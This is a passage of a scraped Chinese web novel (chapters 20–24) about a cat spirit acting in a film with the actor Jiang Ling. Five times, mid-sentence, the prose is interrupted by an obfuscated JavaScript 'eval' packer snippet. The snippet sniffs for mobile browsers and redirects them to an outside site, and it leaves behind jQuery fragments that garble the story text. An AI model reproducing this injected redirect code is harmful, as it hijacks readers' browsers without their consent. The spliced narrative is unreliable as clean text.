铃声执拗地响了一遍又一遍,每次都响很长时间,给人一种不接电话就不罢休的感觉。 江泠最终接起电话。 助理连忙往帐篷外走。小猫不想探听别人的隐私,装作被助理手中逗猫棒吸引的样子,也跟着他往外走。 过了一会儿,江泠从帐篷里走出来,对助理说道:“你去睡午觉吧。” 助理刚好有些困了,点点头:“那我去睡觉了,有事叫我啊哥。” 小猫窝在椅子上晒太阳,江泠走过来,挨着他在另一张椅子上坐下。 小猫盯着他看了一会儿,随即跳下椅子,江泠也站起来,亦步亦趋地跟在小猫身后。 小猫跑进帐篷跳上桌,将助理之前摆好的五颜六色的小球都踹到地上。江泠跟在拆家猫身后,一路捡球。 踹完球球之后,小猫又发现了一盒粘土,他抬起爪爪,用力地踩了一下粘土。 浅粉色的粘土上,赫然印了一只圆滚滚的小爪印,肉垫的弧度圆润可爱,连指甲不经意蹭出的细小痕迹都清晰可见。 江泠摸了摸粘土上的小爪印,小猫仰头望着他。 江泠突然开口道:“告诉你一个秘密。” 20. 第20章 小猫等了半天,江泠也没有开口,他正盯着虚空的某一处发呆,不知道在想些什么。 小猫轻轻地“喵”了一声。 江泠的视线落在小猫身上,又过了一会儿,他终于开口道:“其实我现在有点难过。” 小猫仰头望着他,浅银色的眸子清澈如水。 江泠笑了下,没头没尾地说道:“树妖这个角色很有意思。” 小猫在脑海中过了一遍他和江泠相识以来发生的所有事情,又梳理了一下树妖的剧情,一个模糊的猜测在脑海中缓缓成形。 他正想着事情,一团彩色的毛线球突然滚落到地上。小猫下意识追过去,啪嗒一下按住毛线球。 江泠动了动手指,桌沿边又接连滚下好几个毛线球,蓝的、黄的、粉的,在地板上骨碌碌地转着圈。 小猫懵了,看一眼左边淡粉色的毛线球,再看一眼右边淡蓝色的毛线球,小脑袋转来转去,爪子抬起又落下,哪个都舍不得放过。 江泠托着脸,垂眸望着地板上那只银色的小团子。 小猫急疯了,追着这个跑出去两步,又怕那个被人抢走似的慌忙折回来,瞻前顾后,左顾右盼,没一会儿就把自己绕晕了。 江泠失笑,他弯下腰,把散落在地板上的毛线球捡到一起,堆成一座五彩斑斓的小山丘。 小猫弓起脊背猛地扑过去,像一道银色闪电,将那座毛线山劈得四分五裂,然后在地上疯跑了好几圈。 最后他跳上椅子,瘫在柔软的椅垫上,耳朵下方的蝴蝶结松了大半,歪歪扭扭地耷拉下来。 江泠忍不住笑道:“怎么一副被糟蹋了的模样?” 小猫:…… 他蠢蠢欲动地抬起脚,忍了半天又收回去,一遍遍给自己洗脑:我是一只普通的猫,我听不懂人类说话;我是一只普通的猫,我听不懂人类说话…… 江泠拿起手机,将蔫巴巴的小毛团定格在镜头里,并把照片添加到了一个名为“世界第二可爱”的相册里。 小猫扒拉了几下蝴蝶结上的丝带,抬头望着江泠。 江泠似乎在给什么人发消息,随后他放下手机,从柜子里取出猫粮倒在盘子里。 小猫趴在椅子上,动都没动一下。 江泠:“看来是不饿。” 他拿起手机看了一眼,随后翻开剧本。 小猫突然想起上次下暴雨的时候,江泠也是这样等他回复消息。他连忙跳到桌子上,用眼角余光飞快地瞥了眼屏幕,果然看到了自己的头像。 小猫噌地跳到地上,爪子一扒勾住个毛线球,毛线球骨碌碌滚远,小猫追着球,顺势钻出帐篷。 唐冰正在玩游戏,见他回来开口道:“有人给你发消息了,你看一下。” 薄砚点开聊天窗口,和江泠约定好对戏的时间。他正要放下手机,那边突然又发来一条新消息。 【江泠:图片】 【江泠:可爱吗?】 薄砚看着照片里的自己。毛茸茸的小猫咪窝在椅子上,浅银色的眸子亮晶晶地盯着镜头,蝴蝶结歪歪扭扭地别在耳下。明明只是一张静态的照片,却透着一股鲜活灵动的可爱。 【薄砚:可爱。】 【薄砚:这只猫聪明可爱漂亮厉害,比我养的煤球好看多了。】 【江泠:巴掌大的小毛团,怎么看出来厉害的(笑)】 【薄砚:?】 【薄砚:没那么小。】 【江泠:你见过球球吧?这只猫的体型比球球小一圈。】 【薄砚:那也比巴掌大吧。】 【“薄砚”撤回了一条消息】 【薄砚:还有什么事吗?】 【江泠:有。】 【薄砚:?】 【江泠:有什么能让运气变好的方法吗?】 【薄砚:有。】 【薄砚:出来,我教你。】 【江泠:好。】 薄砚站起身,路过唐冰的时候,他开口问道:“我的体型不算小吧?” 唐冰:“当然不算。” 薄砚点点头,刚走出门外,就听到休息室里传来一阵闷笑声。 江泠走过来:“怎么了?” 薄砚面无表情道:“没什么,怪我听力太好了。” 二人找了一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023667|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮阳棚坐下,薄砚从口袋里掏出一颗糖,递给江泠:“这是用幸运树果实制成的糖,你吃了它运气就会变好。” 江泠把糖塞进嘴里,苦得皱起眉:“幸运树的果实是中药味的?” 薄砚解释道:“幸运树的果实没有味道,只是她那天心情不好,就把自己的果实变成了中药味。” 江泠:“好神奇。” 薄砚:“真好骗。” 江泠无奈一笑:“坏蛋。” 今天的天气很不好,中午像傍晚一样阴沉。江泠望着昏暗的天色,轻轻叹了口气。 薄砚问道:“怎么了?” 江泠:“玩游戏输惨了,有点难过。” 薄砚盯着他看了一会儿,把手伸到他面前:“我运气挺好的,要不你沾一沾我的运气?” 江泠问道:“我会分走你的好运吗?” 薄砚点点头。 江泠:“那还是不了。” 薄砚看不惯他扭捏的模样,干脆攥住他的手,用力蹭了两下。 江泠垂眸,盯着自己的手。 薄砚也在看自己的手:“我发现你挺会拍照的,刚发过来的那张照片拍得很好。” 他状似不经意地说道:“看照片,感觉那只猫挺大的,比我的手都要大些。” 江泠看着他:“你很在意那只猫?” 薄砚:“那只猫挺可爱的,可惜我没遇到过。” 江泠把手机递过去,给他看小猫的照片。 薄砚注意到相册名称:“世界第二可爱?” 江泠:“嗯?” 薄砚盯着他:“世界第一可爱是谁?该不会是我养的那颗煤球吧?” 江泠笑了一下:“有关。” 薄砚:…… 薄砚:“我觉得这只猫比煤球可爱,煤球黑不溜秋的,闭上眼睛闭上嘴,连蚊子都找不到他。” 江泠注视着他:“你很在意这只猫。” 薄砚顿时警惕起来,斟酌着开口道:“我养猫,所以也比较喜欢猫。” 江泠的目光在他身上流连一圈,含笑开口道:“该不会你就是这只小猫吧?” 21. 第21章 “嗯。”薄砚承认道。他决定反其道而行之,假作真时真亦假,真作假时假亦真。 江泠笑吟吟地看着他:“真是猫妖?” 薄砚:“没错。” 江泠抬起手,摸了一下他的头。 薄砚:“干嘛?撸猫啊?” 江泠笑着道:“我有超能力,这种超能力只作用于动物身上,比如像你这样的小猫咪。” 薄砚:…… 他用手背贴了下江泠的额头:“没发烧啊。” 助理刚睡醒走出休息室,就看到江泠和薄砚互相摸来摸去,偏偏那两人脸上一副坦然自若的模样,倒显得他有点不正常。 助理决定回去重睡。 薄砚望着他的背影,开口问道:“他怎么了?” 江泠:“不知道。” 薄砚:“我觉得小石有点呆。” 江泠:“是吗?” 薄砚点点头。不仅小石呆,江泠也有点呆,一点都不像狐狸。 他突然想起超话那条置顶公告,问江泠道:“你觉得自己像什么动物?” 江泠瞬间被难住了。 薄砚摇头道:“我觉得你不像任何动物,你就是个人。” 江泠:“这话怎么怪怪的。” 薄砚无聊地托着脸:“反正闲着也是闲着,不如我们对一对戏吧。” 江泠:“好。” 对完戏后,他们又随意聊了一会儿。薄砚看得出来,江泠并不相信他是猫妖;当然,他也不信江泠有超能力。 今晚要拍的是湖妖与树妖的诀别戏份。进了剧组薄砚才知道,原来拍戏并不全然按照剧本的时间线推进,有可能上一场还是很欢乐的戏份,下一场就要生离死别。 助理点点头:“是这样的,顺拍不现实,跳拍才是常态。而且我听说,有的剧组会倒着拍,据说是为了帮助主演出戏。” 薄砚:“我看网上有人说,很多演员会因戏生情。” “确实有,我对‘因戏生情’的理解是演员在剧组相处几个月后,对对方的品行有了一定程度的了解,基于这份了解对演员本人产生了感情,而不是代入角色产生了感情。” 助理认真地分析道:“就像我哥和你,湖妖和树妖只是普通的朋友,不是情侣,但你们……” 薄砚:“?我们也不是情侣。” 对啊!助理痛苦地捂住脑袋,他到底在想些什么? 薄砚问道:“怎么了?” “没什么。”助理搓了一把脸,“我的意思就是,我哥是因为喜欢你本人的性格,才和你做朋友,而不是因为你出演了湖妖落亭这个角色。” 薄砚点点头。江泠确实是他的第一个人类朋友,虽然唐冰也是人,但他从来没把那个货当人看过。 “你觉得江泠喜欢我?”薄砚又问道。 助理痛苦面具:“哪种喜欢?” 当然是人对猫的喜欢,薄砚在心里默默说道。 “没什么。” 助理决定换个话题,他开口道:“砚哥,我觉得你演技很好,很有天赋,拍完这部之后,你真的不演戏了吗?” “不演。”薄砚摇头,“我不想参与太多人类社会的事。” 助理:“那我可得好好珍惜砚哥唯一的影视作品了。” 十分钟后,诀别戏正式开拍。 夜色正浓,月亮高高悬在天边,将漫天清辉洒向大地。一片落叶坠入水中,搅碎满湖月色。 湖妖静立在岸边,长长的银发垂落肩头,衬得那双月华般的眸子清冽如霜。 树妖垂下眼,目光落在湖妖滴着水的衣摆上。 湖妖笑着道:“要抱一下吗?” 下一秒,树妖伸手,揽住了他的肩膀。 湖妖顿了一下,随即抬手,回抱住他的腰,另一只手做了个手势。他能闻到树妖身上的草木气息,混着千年老树的沉木香,给人一种扎根于此地的安稳感。 “卡!” 唐冰把毛巾披在薄砚身上,李导走过来:“小薄,刚才你那个手势是什么意思?” 薄砚解释道:“按照人设的话,湖妖天生带着湖水的清寒,所以我特意施法,没让这份寒冷蔓延到树妖身上。” 李导又问道:“你为什么会觉得树妖怕冷,他也是妖啊。” 薄砚顿住,下意识回头看了眼江泠。 江泠也正望着他,身影浸在浓稠的夜色里,眉目间的轮廓模糊又深邃。 导演思索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023668|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻,眼睛亮起来:“绝了,这段绝了!树妖其实并不怕冷,但湖妖还是下意识地施法,阻止自己身上的寒气蔓延到对方身上。” “简单的一个手势,把湖妖对树妖的感情表现得淋漓尽致,此时无声胜有声!”李导激动地拍了拍薄砚的肩膀,“小薄,你是天才啊!” 编剧也很激动:“再加上特效,简直绝了,不过特效不能太夸张,淡淡的最好。” 薄砚问道:“这条过了吗?” 李导:“过了过了,快回去休息吧!” 薄砚回休息室换了身干净的衣服,一出来就被江泠抱住了。 薄砚:“干嘛?” 江泠没有说话。 薄砚觉得他可能是被刚才那场诀别戏影响了,一时间出不了戏,便任凭他抱着。 这个人类似乎有点颤抖,薄砚伸出手,轻轻拍了拍他的背。 江泠用下巴蹭了蹭怀里人的肩膀,随后放开他。 薄砚说道:“你像一个冰块,夏天抱着一定很舒服。” 江泠勾了勾唇:“那等到夏天的时候,给你抱。” 薄砚想象了一下小猫咪扒着大冰块的模样,摇头道:“还是算了吧。” 手机突然震了一下,薄砚拿出手机,发现唐冰给他发了一条消息。 “你是不是还有一场戏?”薄砚问道。 江泠点点头。 薄砚:“那我先回去了。” 江泠看着他:“晚安,明天见。” 薄砚:“嗯。” 道别之后,薄砚坐上唐冰的车回旅馆。下车的时候,他不小心磕了一下头。 唐冰:“没事吧?” 薄砚摇头:“没事,不过这段时间我可能要倒霉。” 唐冰疑惑道:“你运气不是挺好的吗,谁倒霉也轮不到你倒霉啊。” 薄砚抿了抿唇:“反正我要开始倒霉了,不过也不会太倒霉,你不用在意。” 不知道这位猫祖宗又干了什么事,唐冰无奈道:“行吧,晚饭想吃什么?” 薄砚:“西红柿炒鸡蛋、凉拌腐竹,还要一道甜品。” 等待晚饭的途中,他照旧打开微博看热闹,突然在热搜榜上看到一个熟悉的名字。 22. 第22章 薄砚在热搜榜上看到路棋的名字,后面跟着一个“爆”。 【How old are you?】 【楼上哈哈哈哈哈,English算是被你学明白了。】 【哥们儿怎么又塌了?】 【路棋:塌房这种事,当然是一回生二回熟喽(斜眼笑)】 【顶流还是有两下子的,塌房都能塌出新意,塌出水平。】 【别侮辱“顶流”这两个字好吗?他算个屁的顶流,江泠那种才叫顶流。】 【抱走江泠,这种场合就没必要带我哥出场了。】 唐冰端着菜走过来:“干嘛呢?” “看热闹。”薄砚把热搜内容念给他听。 唐冰鼓掌道:“之前剧组官宣的时候,路棋团队不仅买热搜黑你,还引导粉丝网暴你,塌了活该。” 薄砚尝了口西红柿炒鸡蛋,满足地眯起眼睛:“好吃。” 唐冰:“好吃你就多吃点。” 晚饭后,薄砚洗了个澡。刚踏出浴室,手机屏幕就亮了起来,是江泠发来的消息。 【江泠:晚上有空吗?】 【薄砚:我打算晒月亮。】 【江泠:可以一起吗?】 【薄砚:嗯。】 江泠过来的时候,薄砚正在吹头发。湿漉漉的发丝贴在被暖风烘得粉嫩的脸颊上,眼尾蒸腾起潮湿的水雾。 江泠看着薄砚,忽然觉得他像一只淋了雨的小猫,垂着眼睫,委屈巴巴地打理自己湿漉漉的绒毛。 薄砚吹干头发,搬了两把椅子,和江泠一起去阳台上晒月亮。 江泠仰头望着天空:“今晚的月亮很圆。” 薄砚:“嗯。” 江泠又道:“我出生那天,月亮没这么圆。” 薄砚突然想起什么,问道:“下周你过生日,对吗?” 江泠看着他:“你怎么知道?” 薄砚:“我是你的粉丝,当然了解你了。” 江泠勾了勾唇:“假粉。” 薄砚背了一段江泠的百科词条,江泠惊讶地看着他。 薄砚解释道:“之前我姐和你传绯闻,澄清的时候她对外说,我们全家人都是你的粉丝。所以进组之前,唐冰给我看过你的资料,我就顺带记下来了。” 江泠:“不是传绯闻,只是一个拉郎视频上热搜了。” 薄砚问道:“什么是拉郎视频?” 江泠:“就是把两个没有任何关系的明星,或者两个无关的角色剪到一起。” 薄砚:“哦。” 过了一会儿,江泠突然开口问道:“你姐姐不讨厌我吧?” 薄砚:“当然不讨厌。我姐真是你的粉丝,你演的电影她都看过。” 见江泠松了一口气的模样,薄砚问道:“你很在意我姐对你的看法?” 江泠垂着眼,轻声道:“你是我唯一的朋友,我当然希望你的家人不要讨厌我。” 薄砚拍了拍他的肩膀:“你也是我唯一的……朋友。” 江泠摇头:“你有很多朋友,唐冰、戚夏……” 薄砚撇了撇嘴:“那两个货,一个本来就不是人,另一个虽然是人,但我从没把他当人看过。” 江泠被他逗笑了。 薄砚:“自从认识你之后,我说了好多话,感觉自己的语言能力都进步了不少。” 江泠看着他:“你以前不喜欢说话吗?” 薄砚摇头,他以前都是喵喵叫的。 夜露渐重,温度也越来越冷。晚风卷着凉意掠过阳台,江泠抬起手,帮薄砚拢了拢领口。 温热的皮肉被冰凉的手指一碰,瞬间激起一层细小的战栗,薄砚忍不住瑟缩了一下。 江泠收回手:“小心感冒。” “我感冒不了,你才要小心感冒。”薄砚说着站起身,回房间取了一条米色的针织毯,往江泠身上搭了一半,自己裹住另一半。 毯子的长度有些不够,他拉着椅子靠近江泠。被暖烘烘的毛毯裹着,没过多久,江泠就靠着薄砚睡着了。 薄砚本想推开他,但是想起之前在车上的时候,自己也靠着他睡过觉,就有点不好意思推开了。 江泠似乎有些冷,下意识贴近身边的热源,他伸手搂住薄砚的腰,脑袋埋进对方温热的颈窝,发丝扫过锁骨处薄薄的肌肤,又麻又痒。 薄砚第一次被人这么抱着,他有些无措地僵着身子,指尖都绷得发紧。 两人之间的距离极近,淡淡的雪香环绕着薄砚,似乎要无孔不入地钻进他身上的每一处。 薄砚被埋在雪地里,感觉自己的呼吸都不顺畅了。 漫长地过了许久,江泠终于醒过来:“我睡着了?” 薄砚:“你靠着我睡了整整半个小时,那天早上我才靠了你二十分钟,我亏了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023669|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江泠笑着道:“下次让你靠回来。” 薄砚又累又困,开口道:“我要睡觉了。” 江泠:“晚安,明天见。” 薄砚:“嗯。” 次日刚到片场,经纪人陆晴就给江泠打了个电话。 陆晴:“自从那天你发了砚台的图片之后,粉丝都希望你能多分享一点日常,毕竟你的微博除了商务就是宣传,干巴巴的,没有一丝人气。” 江泠:“好。” 他登上微博,发了一张月亮的照片,一个小时后喜提热搜。 【报!继砚台之后,江影帝又发了一张月亮的图片!】 【月亮怎么了?】 【同问。】 【今晚月色很美,你们品品,仔细品品。】 【我可算知道江泠为什么不在公共平台分享日常了,不管他发什么,你们都要做一遍阅读理解。】 【哈哈哈哈哈是这样的。】 【江泠靠自己的演技拿下两座影帝奖杯,和那些靠粉丝砸钱养着的爱豆不一样,江泠谈恋爱自由,望周知。】 【对啊,大影帝从不炒cp,也不刻意吸女友粉,人家想怎么谈就怎么谈。】 【楼上别故意带节奏了,江泠没谈,谢谢。他采访说过好几次,确定恋爱关系之后会向粉丝公开,绝不欺骗。】 陆晴打电话过来:“你怎么又搞事啊?” 江泠:“我后悔了。” 陆晴正准备说什么,江泠继续道:“路棋还在热搜上挂着呢,我不应该抢他的热度。” 陆晴:“……合着你是因为这个后悔?” 江泠:“那不然呢?” 陆晴叹了口气:“下次别发月亮这种让人误会的东西了。” 江泠:“嗯?” 陆晴连忙解释道:“没有干涉你私生活的意思。” 江泠笑了一下:“其实我发什么都会被解读的。” 陆晴叹口气:“也是,你平日里从不分享日常,狗仔也扒不到你的私生活,所以无论你发什么,网友都想探究一番。” 江泠:“嗯。” 陆晴建议道:“要不然你发一发剧组的盒饭?我看很多演员进组后,都和粉丝分享自己的一日三餐。” 江泠:“发过了。” 陆晴:“什么时候发的?我怎么没看到?” 江泠:“小号发的。” 23. 第23章 陆晴崩溃了:“你还有小号?!” 江泠:“嗯。” 陆晴深吸一口气:“算了,小号什么的你自己看着办吧。只有一点,将来你要是真谈恋爱了,一定要记得第一时间通知我们,别让大伙毫无准备。” 江泠应下,陆晴又和他聊了聊生日相关事宜,随后挂断电话。 江泠一年只拍一部电影,神奇的是,每年他过生日的时候,恰好都泡在剧组里。 所以他的生日都过得很简单,没有生日会,也没有粉丝见面会,全剧组的演职人员一起吃顿饭,分一分蛋糕,这生日就算过了。 助理开口道:“泠哥,今年的生日又要在剧组过了。” 江泠不甚在意地点点头。 助理叹了口气,他还没想好要送什么生日礼物呢。 “泠哥,你想要什么生日礼物?”助理问道。 “随便,你们送什么我都喜欢。” 助理叹了口气。江泠一点都不在意自己的生日,他口中的“随便”并非客套话,而是真的随便。 苦思冥想了好一会儿,他站起身道:“泠哥,我出去一会儿,有事给我发微信。” 江泠:“怎么了?” 助理挠了挠头:“我去找砚哥出谋划策,实在是想不出该送你什么生日礼物才好。” 江泠:“去吧。” 没过多久,助理就回来了:“砚哥正补觉呢,好像是昨晚没睡好。” 江泠叹了口气:“都怪我。” 助理连忙问道:“怎么了?” 江泠:“昨天晚上是个月圆之夜。” 见他表情严肃,助理不自觉地看了眼日历,昨晚是十五,月亮确实很圆。 江泠继续道:“我抱着他,睡了半个小时。” 助理张大嘴,眼睛瞪得溜圆:“什么?抱着谁?” “薄砚。”江泠垂着眼道,“我抱着他睡着了,他不忍心叫醒我,任由我睡了半个小时。” 助理瞬间僵在原地,眼神发直,一副魂归天外的模样。 江泠等了很久,他才总算魂魄归位,恍恍惚惚地开口道:“你们……怎么会……睡在一起?” 江泠支着下巴:“昨晚是月圆之夜,我和薄砚一起赏月,我们聊了很多。后来温度越来越低,薄砚取了一条毯子,我们俩就裹着同一条毯子,靠在一起继续赏月,后来我就不小心睡着了。” 助理:…… 江泠:“怎么了?” 助理搓了一把脸:“这只是一个普通的赏月故事。” 江泠笑着道:“不然呢?只是赏月途中我不小心睡着了,把薄砚当成抱枕,抱了半个小时。他心软,不好意思叫醒我,就任由我抱着。” 助理痛苦地捂住耳朵:“行了,哥,你别重复了。” 江泠无奈道:“我怕你误会,所以解释一下,就只是抱了半个小时而已。” 为了清空自己的脑海,助理转移话题道:“今天怎么没看到那只小猫?” 此时的小猫,正打着哈欠挑选发夹。 唐冰看着他:“怎么困成这样?” 薄砚无语道:“昨晚江泠抱着我睡了半个小时,害我做了一晚上噩梦,老是梦到自己被雪埋了。” 唐冰:“请注意你的言辞。” 薄砚:“?” 唐冰:“你能不能加上前因后果,别上来就是一句‘江泠抱着我睡了半个小时’,很吓人的好吗?” 薄砚摊手:“吓人就吓人呗,又不吓猫。” 唐冰:“我要听前因后果。” 薄砚:“前因——赏月,后果——我没睡好。” 唐冰:“算了,看在你以前只会喵喵叫的份上,我就不跟你计较了。” 薄砚:“请注意你的言辞,我是喜欢喵喵叫,而不是‘只会’喵喵叫。” 唐冰:“我可算知道你当初为什么同意救场了,合着你是来这儿练嘴皮子的,等拍完戏一回山,吵架保准百战百胜。” 薄砚挑了一对爱心形状的浅粉色发夹,递给唐冰,随后变回原形。 唐冰帮他别好发夹,小猫甩了甩头。 “我去,好可爱!!”唐冰感叹道,“看来不仅人靠衣装,猫也靠衣装,这么一打扮,就连邪恶小猫都变得可爱了。” 小猫踹了他一脚,从帐篷后方钻出去。 江泠前脚刚在椅子上坐下,小猫后脚跑过来,跳上另一张椅子。 江泠勾了勾唇:“你好。” 小猫蹲坐在椅子上,两只耳朵下方各别着一枚浅粉色的爱心发夹,发夹是绒布材质,像三月盛开的桃花花瓣,边缘绣着一圈细闪的银线。 小猫歪头望着江泠,头顶的发夹随着动作轻轻晃动。暖融融的阳光洒下来,像是给他镀了一层朦胧的柔光滤镜,两枚发夹也浸在光晕里,衬得小猫像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023670|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个仙气飘飘的小仙子。 助理的眼睛变成了爱心形状,他伸出手:“可以让我摸一下吗?我什么都会做的,求你了。” 小猫敏捷地避开他的手。 助理痛哭流涕:“算了,强扭的瓜不甜,强摸的猫不香,呜呜呜,求你了,让我摸一下吧,就一下……” 江泠拿出手机,给小猫拍了好几张照片。 小猫正歪着头凹造型,旁边突然空投了一只庞然大猫。 编剧赵老师小心翼翼地把球球放在椅子上,又叮嘱了几句,拜托他们帮忙照看一会儿,随后脚步匆匆地离开了。 球球见到小猫很兴奋,迈着步子往他身边凑。 小猫尴尬地退了一步。 原本他觉得戴个发夹没什么,一切都是为了赢过那颗煤球。可偏偏自己这副精心打扮勾引人的模样,被另一只猫撞了个正着。 虽然球球只是一只普通的猫,而且看着很傻,但他就是觉得很羞耻。 这世间的事,往往都是福无双至,祸不单行。没过几分钟,唐冰也出来凑热闹了。 小猫背过身,假装看不见他。 唐冰指着小猫问助理道:“这就是江影帝的那只猫粉丝?” “是啊。”助理哭丧着脸道,“他只喜欢我哥,一直跟着我哥,除了我哥,谁都不让摸。” 唐冰装模作样地点点头:“这只猫还挺有灵性。” 小猫跳下椅子,在地上绕了一圈。 助理疑惑道:“他干嘛呢?” 唐冰忍笑:“可能是在找地缝吧。” 助理没懂他的意思:“啊?” “没什么。”唐冰忍不住笑了一声。 小猫躲在草丛后,恶狠狠地瞪着他。 江泠问道:“薄砚还在睡觉?” 唐冰:“刚刚还睡着,现在不知道醒没醒,我发个微信问问他。” 江泠:“不用了,别吵醒他。” 球球一直追着小猫,小猫假装被它吓到的样子,飞奔着离开这个尴尬之地。 一回到帐篷,他立马变成人形,拿起手机给唐冰发了很多温柔有爱文明友善的词汇。半个小时后,薄砚假装刚睡醒的模样走出帐篷。 江泠瞬间注意到他,站起身向他走了过来,唐冰和助理也循着方向望过来。 薄砚:“有事吗?” 江泠拉住他的手腕:“跟我来一下。” 24. 第24章 江泠拉着薄砚走进休息室,开口道:“闭上眼睛。” 薄砚:“干嘛?” 江泠捂住他的眼睛:“先闭上嘛。” 薄砚觉得这个人类黏糊糊的很麻烦,只好闭上眼睛。 “你已经走到我身后大约三米远的位置了,如果我没记错的话,那里应该摆着一组立柜……拉开抽屉了,似乎从抽屉里取出一个木盒……” 江泠无奈道:“耳朵这么灵?” 薄砚点头:“当然了,我听力很好。” 江泠笑着道:“那你猜一猜,我要送你什么礼物?” 薄砚:“猜对了有什么奖励吗?” 江泠:“猜对了的话,以后我的零食都给你吃。” 薄砚:“别想骗我,拍完这部戏我们都不在一个地方了。” 江泠隔空摸了摸他的头:“天涯海角都给你送到。” 薄砚觉得这个奖励不错,他假装思考了一会儿,说了几个错误答案,最后猜道:“是首饰吗?” “猜对了!”江泠惊讶道。 “从现在开始,你的零食都归我了。” 薄砚缓缓睁开眼,发现桌子上摆着一个紫檀木首饰盒,盖子上精心雕刻着一只猫猫形状的砚台,砚台边流淌着一泓江水,纹理细腻,雕工精美。 他拿起首饰盒,一股清甜的梨香扑面而来。 江泠:“打开看看。” 薄砚轻轻一按锁扣,只听“咔哒”一声轻响,首饰盒的锁扣便弹开了。盒内正中央摆着一支翡翠簪子,簪尾垂着一串树叶形状的流苏。 薄砚抬起头,看向江泠发间的簪子。他发现两支簪子的外型一模一样,但是材质不同。 江泠那支簪子的流苏是用树脂制成的;而薄砚手中这支,流苏都是由各种绿宝石雕琢的叶片串联而成,每一片都脉络分明,在灯光下折射出璀璨光华。 薄砚忽然想起初见那日的情景,当时他没忍住拨了拨那串流苏,随后江泠便问他是不是喜欢这支簪子,他不知道该说什么,只好点点头。 薄砚开口道:“你记性真好。” 江泠看他捏着簪子晃来晃去的模样,眼中浮起一抹笑意。 薄砚:“明明下周是你的生日,我应该送你礼物才对,你倒先送我了。” 江泠:“没想那么多,就是记得你喜欢这支簪子,所以特意请人做了送给你。” 薄砚把簪子轻轻放回首饰盒中,看着江泠道:“你送的礼物我很喜欢,刚才那个赌注作废吧。” 江泠笑了笑:“不用,我愿赌服输。” 薄砚:“行吧。下周是你的生日,你想要什么生日礼物?” 江泠垂着眸子:“不需要礼物,你能陪我过生日,我就已经很感激了。” 薄砚看着他,江泠继续道:“每年我的生日都是在剧组过的,大家一起吃顿饭,分一分蛋糕,生日就算过了。除了晴姐和小石他们,也没什么人给我送生日祝福。” 薄砚忽然想起昨天晚上看月亮的时候,这个人类说自己是他唯一的朋友。 “今年我陪你过生日。”薄砚拍了拍江泠的肩膀。 “好。” 江泠轻轻抱了他一下。 晚上回到旅馆之后,薄砚给唐冰看自己收到的礼物。 唐冰接过簪子,打量了一番开口道:“先不说翡翠簪身和这些宝石的价格,光是这份心意就很难得了,你进组才多长时间?” 薄砚算了一下自己进组的时间,唐冰继续道:“匠人手工雕刻,打磨抛光,都是需要时间的。可能那天你说了喜欢这个簪子之后,江影帝就开始准备了。” 薄砚抿了抿唇。 唐冰笑着道:“都说了你人见人爱,花见花开,霜月棠不就是因为你而开的吗?” 薄砚:“她那是被我气开花的。” 唐冰:“气开花,怎么不算是一种开花呢?” 薄砚摸了摸自己的长发,开口道:“帮我盘个发髻,我要戴这支簪子。” 唐冰:“什么发髻?” 薄砚:“江泠那样的就行。” 唐冰摊手:“我都没仔细看过树妖的妆造,就知道他头上插着一支簪子。” 薄砚对着镜子,揪着头发折腾了好半晌,最后泄气似的坐在椅子上:“在山上的时候,想变什么发型就变什么发型,下山法力被封印,干什么都得自己动手。” 唐冰看着他:“所以你到底为什么要盘发髻,湖妖的造型不是银长直吗?” 薄砚晃了晃手里的簪子:“收到别人的礼物要戴出来,送礼物的那个人才会开心。” 唐冰点点头:“说的有道理,你慢慢弄,我先回去睡觉了。” 薄砚拦住他:“这里有视频教程,你和我一起学。” 唐冰:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 